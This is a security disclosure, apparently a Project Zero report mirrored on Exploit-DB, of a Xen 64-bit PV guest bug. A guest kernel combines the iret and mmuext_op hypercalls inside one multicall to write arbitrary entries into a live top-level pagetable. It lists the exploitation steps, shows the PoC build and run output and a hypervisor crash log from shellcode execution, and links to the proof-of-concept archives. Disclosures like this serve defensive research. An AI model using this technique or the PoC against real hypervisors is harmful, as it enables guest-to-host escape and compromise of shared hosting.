Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231
This is a bug in Xen that permits an attacker with control over the
kernel of a 64bit X86 PV guest to write arbitrary entries into a live
top-level pagetable.
To prevent PV guests from doing things like mapping live pagetables as
writable, Xen assigns types to physical pages and tracks type-specific
references with a reference counter ("type count", stored in the low
bits of page->u.inuse.type_info).
64-bit PV guests have multiple places in which the addresses of
top-level pagetables are stored:
arch.guest_table_user and arch.guest_table in the vcpu struct point to
the pagetables the guest has designated as user-mode top-level
pagetable and kernel-mode top-level pagetable. Both of these fields
take a type-specific reference on the pagetable to prevent the guest
from mapping it as writable.
arch.cr3 in the vcpu struct points to the current top-level pagetable
of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the
physical CPU's CR3.
arch.cr3 does not take an extra type-specific reference; it borrows
the reference from either arch.guest_table_user or arch.guest_table.
This means that whenever the field from which the reference is
borrowed is updated, arch.cr3 (together with the physical CR3) must be
updated as well.
The guest can update arch.guest_table_user and arch.guest_table using
__HYPERVISOR_mmuext_op with commands
MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and
MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these
commands assume that when the hypercall is executed, arch.cr3 always
equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates
arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR
handler doesn't touch arch.cr3.
Hypercalls can only be executed from kernel context, so on hypercall
entry, arch.cr3==arch.guest_table is indeed true. However, using the
__HYPERVISOR_multicall hypercall, it is possible to execute the
__HYPERVISOR_iret hypercall, which can switch the pagetables to user
context, immediately followed by the __HYPERVISOR_mmuext_op hypercall
before actually entering guest user context.
This can be exploited from guest kernel context roughly as follows:
- copy all entries from the top-level kernel pagetable over the
top-level user pagetable (to make it possible for a post-iret
hypercall to access guest kernel memory)
- allocate a new page to be used later as top-level user pagetable,
copy the contents of the current top-level user pagetable into it,
remap it as readonly and pin it as a top-level pagetable
- perform the following operations in a single multicall:
- switch to user context using __HYPERVISOR_iret
- change arch.guest_table_user to the new top-level user pagetable
using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR
- unpin the old top-level user pagetable
- map the old top-level user pagetable as writable
- write crafted entries into the old top-level user pagetable
I have attached a proof of concept that corrupts the top-level
pagetable entry that maps the hypervisor text, causing a host
triplefault. I have tested the proof of concept in the following
configurations:
configuration 1:
running inside VMware Workstation
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
configuration 2:
running on a physical machine with Qubes OS 3.2 installed
Xen version 4.6.4
Compile the PoC with ./compile.sh, then run ./attack as root.
PoC Filename: xen_ptuaf.tar
################################################################################
Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage:
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
LD/root/xen_ptuaf_hv_shellcode_exec/built-in.o
CC [M]/root/xen_ptuaf_hv_shellcode_exec/module.o
nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm
LD [M]/root/xen_ptuaf_hv_shellcode_exec/test.o
Building modules, stage 2.
MODPOST 1 modules
WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o
CC/root/xen_ptuaf_hv_shellcode_exec/test.mod.o
LD [M]/root/xen_ptuaf_hv_shellcode_exec/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack
kernel CR3: 0xaa2dd000
L1 self-mapping is up, should have reliable pagetable control now
virt_to_pte(0x7f5bd439a000)
[ rest of output missing because of VM crash ]
Serial output:
(XEN) ----[ Xen-4.6.0x86_64debug=nTainted:C ]----
(XEN) CPU:2
(XEN) RIP:e008:[<00007f5bd439a03f>] 00007f5bd439a03f
(XEN) RFLAGS: 0000000000010246 CONTEXT: hypervisor (d1v2)
(XEN) rax: 1337133713371337 rbx: 1337133713371337 rcx: 1337133713371337
(XEN) rdx: 1337133713371337 rsi: 00007ffe98b5e248 rdi: 0000600000003850
(XEN) rbp: 1337133713371337 rsp: ffff8301abb37f30 r8:0000000000000000
(XEN) r9:000000000000001b r10: 0000000000000000 r11: 0000000000000202
(XEN) r12: 0000000080000000 r13: ffff8800026dd000 r14: ffff880003453c88
(XEN) r15: 0000000000000007 cr0: 0000000080050033 cr4: 00000000001506a0
(XEN) cr3: 00000000aa2dc000 cr2: ffff88007cfb2e98
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: 0000 cs: e008
(XEN) Xen stack trace from rsp=ffff8301abb37f30:
(XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)1337133713371337 0000000000401556 000000000000e033 0000000000000246
(XEN)00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000
(XEN)0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000
(XEN)000000312b835580 0000000000000000
(XEN) Xen call trace:
(XEN)[<00007f5bd439a03f>] 00007f5bd439a03f
(XEN)
(XEN)
(XEN) ****************************************
(XEN) Panic on CPU 2:
(XEN) GENERAL PROTECTION FAULT
(XEN) [error_code=0000]
(XEN) ****************************************
(XEN)
(XEN) Reboot in five seconds...
PoC Filename: xen_ptuaf_hv_shellcode_exec.tar
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip